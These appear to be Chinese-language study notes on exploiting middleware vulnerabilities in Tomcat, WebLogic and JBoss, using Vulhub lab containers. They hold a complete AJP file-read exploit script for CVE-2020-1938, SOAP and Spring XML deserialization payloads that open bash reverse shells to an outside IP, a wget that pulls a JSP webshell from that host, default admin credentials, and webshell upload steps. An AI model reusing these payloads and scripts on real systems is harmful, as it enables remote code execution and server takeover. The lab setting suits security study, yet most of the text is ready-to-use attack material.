常见的中间件漏洞

建议：启动下一个环境时，将上一个环境关闭，防止端口冲突和运行卡顿

1.Tomcat

Tomcat put方法任意文件写入漏洞

环境：

cd vulhub-master/tomcat/CVE-2017-12615

docker-compose up -d

访问页面

利用哥斯拉生成木马      1.jsp

开启抓包，修改文件头为put和文件路径，再将木马内容放到下面

放行后，网页打开1.jsp文件

看见无报错，是空白的，应该上传成功了，尝试木马连接

后台弱口令部署war包

全版本  得知道账号密码

环境

cd vulhub-master/tomcat/tomcat8

docker-compose up -d

打开网址，我们登录   默认账号密码:tomcat/tomcat

可以看到能上传war包

将我们生成的木马添加为zip压缩包，再改压缩包后缀是war       war也是压缩包后缀

上传后，点击我们刚上传的文件

再拼接1.jsp，查看我们的木马

连接

Tomcat文件包含漏洞

需要用到代码，保存为.py文件

#!/usr/bin/env python
#CNVD-2020-10487  Tomcat-Ajp lfi
#by ydhcui
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
	if s is None:
		return struct.pack(">h", -1)
	l = len(s)
	return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
	size = struct.calcsize(fmt)
	buf = stream.read(size)
	return struct.unpack(fmt, buf)
def unpack_string(stream):
	size, = unpack(stream, ">h")
	if size == -1: # null string
		return None
	res, = unpack(stream, "%ds" % size)
	stream.read(1) # \0
	return res
class NotFoundException(Exception):
	pass
class AjpBodyRequest(object):
	# server == web server, container == servlet
	SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
	MAX_REQUEST_LENGTH = 8186
	def __init__(self, data_stream, data_len, data_direction=None):
		self.data_stream = data_stream
		self.data_len = data_len
		self.data_direction = data_direction
	def serialize(self):
		data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
		if len(data) == 0:
			return struct.pack(">bbH", 0x12, 0x34, 0x00)
		else:
			res = struct.pack(">H", len(data))
			res += data
		if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
			header = struct.pack(">bbH", 0x12, 0x34, len(res))
		else:
			header = struct.pack(">bbH", 0x41, 0x42, len(res))
		return header + res
	def send_and_receive(self, socket, stream):
		while True:
			data = self.serialize()
			socket.send(data)
			r = AjpResponse.receive(stream)
			while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
				r = AjpResponse.receive(stream)

			if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
				break
class AjpForwardRequest(object):
	_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
	REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
	# server == web server, container == servlet
	SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
	COMMON_HEADERS = ["SC_REQ_ACCEPT",
		"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
		"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
		"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
	]
	ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
	def __init__(self, data_direction=None):
		self.prefix_code = 0x02
		self.method = None
		self.protocol = None
		self.req_uri = None
		self.remote_addr = None
		self.remote_host = None
		self.server_name = None
		self.server_port = None
		self.is_ssl = None
		self.num_headers = None
		self.request_headers = None
		self.attributes = None
		self.data_direction = data_direction
	def pack_headers(self):
		self.num_headers = len(self.request_headers)
		res = ""
		res = struct.pack(">h", self.num_headers)
		for h_name in self.request_headers:
			if h_name.startswith("SC_REQ"):
				code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
				res += struct.pack("BB", 0xA0, code)
			else:
				res += pack_string(h_name)

			res += pack_string(self.request_headers[h_name])
		return res

	def pack_attributes(self):
		res = b""
		for attr in self.attributes:
			a_name = attr['name']
			code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
			res += struct.pack("b", code)
			if a_name == "req_attribute":
				aa_name, a_value = attr['value']
				res += pack_string(aa_name)
				res += pack_string(a_value)
			else:
				res += pack_string(attr['value'])
		res += struct.pack("B", 0xFF)
		return res
	def serialize(self):
		res = ""
		res = struct.pack("bb", self.prefix_code, self.method)
		res += pack_string(self.protocol)
		res += pack_string(self.req_uri)
		res += pack_string(self.remote_addr)
		res += pack_string(self.remote_host)
		res += pack_string(self.server_name)
		res += struct.pack(">h", self.server_port)
		res += struct.pack("?", self.is_ssl)
		res += self.pack_headers()
		res += self.pack_attributes()
		if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
			header = struct.pack(">bbh", 0x12, 0x34, len(res))
		else:
			header = struct.pack(">bbh", 0x41, 0x42, len(res))
		return header + res
	def parse(self, raw_packet):
		stream = StringIO(raw_packet)
		self.magic1, self.magic2, data_len = unpack(stream, "bbH")
		self.prefix_code, self.method = unpack(stream, "bb")
		self.protocol = unpack_string(stream)
		self.req_uri = unpack_string(stream)
		self.remote_addr = unpack_string(stream)
		self.remote_host = unpack_string(stream)
		self.server_name = unpack_string(stream)
		self.server_port = unpack(stream, ">h")
		self.is_ssl = unpack(stream, "?")
		self.num_headers, = unpack(stream, ">H")
		self.request_headers = {}
		for i in range(self.num_headers):
			code, = unpack(stream, ">H")
			if code > 0xA000:
				h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
			else:
				h_name = unpack(stream, "%ds" % code)
				stream.read(1) # \0
			h_value = unpack_string(stream)
			self.request_headers[h_name] = h_value
	def send_and_receive(self, socket, stream, save_cookies=False):
		res = []
		i = socket.sendall(self.serialize())
		if self.method == AjpForwardRequest.POST:
			return res

		r = AjpResponse.receive(stream)
		assert r.prefix_code == AjpResponse.SEND_HEADERS
		res.append(r)
		if save_cookies and 'Set-Cookie' in r.response_headers:
			self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

		# read body chunks and end response packets
		while True:
			r = AjpResponse.receive(stream)
			res.append(r)
			if r.prefix_code == AjpResponse.END_RESPONSE:
				break
			elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
				continue
			else:
				raise NotImplementedError
				break

		return res

class AjpResponse(object):
	_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
	COMMON_SEND_HEADERS = [
			"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
			"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
			]
	def parse(self, stream):
		# read headers
		self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

		if self.prefix_code == AjpResponse.SEND_HEADERS:
			self.parse_send_headers(stream)
		elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
			self.parse_send_body_chunk(stream)
		elif self.prefix_code == AjpResponse.END_RESPONSE:
			self.parse_end_response(stream)
		elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
			self.parse_get_body_chunk(stream)
		else:
			raise NotImplementedError

	def parse_send_headers(self, stream):
		self.http_status_code, = unpack(stream, ">H")
		self.http_status_msg = unpack_string(stream)
		self.num_headers, = unpack(stream, ">H")
		self.response_headers = {}
		for i in range(self.num_headers):
			code, = unpack(stream, ">H")
			if code <= 0xA000: # custom header
				h_name, = unpack(stream, "%ds" % code)
				stream.read(1) # \0
				h_value = unpack_string(stream)
			else:
				h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
				h_value = unpack_string(stream)
			self.response_headers[h_name] = h_value

	def parse_send_body_chunk(self, stream):
		self.data_length, = unpack(stream, ">H")
		self.data = stream.read(self.data_length+1)

	def parse_end_response(self, stream):
		self.reuse, = unpack(stream, "b")

	def parse_get_body_chunk(self, stream):
		rlen, = unpack(stream, ">H")
		return rlen

	@staticmethod
	def receive(stream):
		r = AjpResponse()
		r.parse(stream)
		return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
	fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
	fr.method = method
	fr.protocol = "HTTP/1.1"
	fr.req_uri = req_uri
	fr.remote_addr = target_host
	fr.remote_host = None
	fr.server_name = target_host
	fr.server_port = 80
	fr.request_headers = {
		'SC_REQ_ACCEPT': 'text/html',
		'SC_REQ_CONNECTION': 'keep-alive',
		'SC_REQ_CONTENT_LENGTH': '0',
		'SC_REQ_HOST': target_host,
		'SC_REQ_USER_AGENT': 'Mozilla',
		'Accept-Encoding': 'gzip, deflate, sdch',
		'Accept-Language': 'en-US,en;q=0.5',
		'Upgrade-Insecure-Requests': '1',
		'Cache-Control': 'max-age=0'
	}
	fr.is_ssl = False
	fr.attributes = []
	return fr

class Tomcat(object):
	def __init__(self, target_host, target_port):
		self.target_host = target_host
		self.target_port = target_port

		self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
		self.socket.connect((target_host, target_port))
		self.stream = self.socket.makefile("rb", bufsize=0)

	def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
		self.req_uri = req_uri
		self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
		print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
		if user is not None and password is not None:
			self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
		for h in headers:
			self.forward_request.request_headers[h] = headers[h]
		for a in attributes:
			self.forward_request.attributes.append(a)
		responses = self.forward_request.send_and_receive(self.socket, self.stream)
		if len(responses) == 0:
			return None, None
		snd_hdrs_res = responses[0]
		data_res = responses[1:-1]
		if len(data_res) == 0:
			print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
		return snd_hdrs_res, data_res

'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf.jsp',attributes=[
    {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
    {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
    {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
    ])
print('----------------------------')
print("".join([d.data for d in data]))

文件改为自己设置的名字

python Tomcat-ROOT路径下文件包含\(CVE-2020-1938\).py -p 8009 -f /WEB-INF/web.xml 39.105.47.83

WebLogic

后台弱口令GetShell

全版本  知道账号密码

环境

cd vulhub-master/weblogic/weak_password
docker-compose up -d

启动后访问后台，拼接console

等待一会

账号密码weblogic Oracle@123

找到部署，安装

进去后，点击上载文件

上传文件，我们之前的做的jsp压缩包

一直下一步，直到完成

找到网址，连接木马

XMLDecoder反序列化漏洞

wls-wsat组件

受影响版本：WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.1, 12.2.1.2。

环境

cd vulhub-master/weblogic/weak_password

docker-compose up -d

访问以下目录

/wls-wsat/CoordinatorPortType

/wls-wsat/RegistrationPortTypeRPC

/wls-wsat/ParticipantPortType

/wls-wsat/RegistrationRequesterPortType

/wls-wsat/CoordinatorPortType11

/wls-wsat/RegistrationPortTypeRPC11

/wls-wsat/ParticipantPortType11

/wls-wsat/RegistrationRequesterPortType11

出现类似此页面的，说明有wls组件，有漏洞

在此页面刷新，抓包，发送到重放器进行修改

修改请求方法

修改如下内容

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <object class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>/bin/bash</string>
              </void>
              <void index="1">
                <string>-c</string>
              </void>
              <void index="2">
                <string>bash -i &gt;&amp; /dev/tcp/39.105.47.83/6666 0&gt;&amp;1</string>
              </void>
            </array>
          <void method="start"/></object>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

开启监听nc -lvvp 6666

发送，直到左下角出现成功        下图是失败的情况

反弹成功

wls9-async组件

环境

抓包，修改请求

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://39.105.47.83/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

服务器开启一个python的网页，   放行，让它来访问服务器上的shell木马，也就是原本的jsp木马，改后缀

连接

也可以修改为上关的反弹shell

WebLogic T3协议反序列化命令执行漏洞

WebLogic文件任意上传漏洞

由于本关环境开启后，密码是随机的，我们需要自己查找

docker-compose logs | grep password

知道密码后就可以登录进来        账号weblogic

在该页面查找它给我们命名的id

WebLogic远程代码执行漏洞

拼接 /console/css/%252e%252e%252fconsole.portal    进行绕过，可能会出错，多试几次，直到进入控制台

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
     <list>
      <value>bash</value>
      <value>-c</value>
      <value><![CDATA[bash -i >& /dev/tcp/39.105.47.83/6666 0>&1]]></value>
    </list>
    </constructor-arg>
    </bean>
</beans>

需要java8来启动，高版本会报错，如果是默认java8，执行上面的命令就行，不是的话，需要指定路径

服务器开启监听

再执行

curl http://39.105.47.83:8080/invoker/JMXInvokerServlet --data-binary @exp.ser 

使用工具

Administration Console弱口令

全版本

环境

后台地址    /admin-console/login.seam          admin vulhub

war上传处

上传文件

需要我们手动调整为所有文件，才能看到我们的war文件

这里尝试了一下  命名为1.war上传不上去，换个名字

连接      /sh/sh.jsp

低版本JMX Console未授权

Jboss4.x以下

环境

cd vulhub-master/jboss/CVE-2017-7504

docker-compose up -d

找到

再框内输入       http://39.105.47.83/shall.war

需要我们提前将木马sh.war上传到服务器，开启服务，再点击invoke

http://39.105.47.83:8081/shall/sh.jsp

高版本JMX Console未授权

Jboss6.x以下

环境

cd vulhub-master/jboss/CVE-2017-12149

docker-compose up -d

admin vulhub

找到

同上文

部署服务器木马，文本框输入http://39.105.47.83/shall.war

http://39.105.47.83:8080/shall/sh.jsp

Apache

Apache HTTP Server 路径穿越漏洞

利用软件查看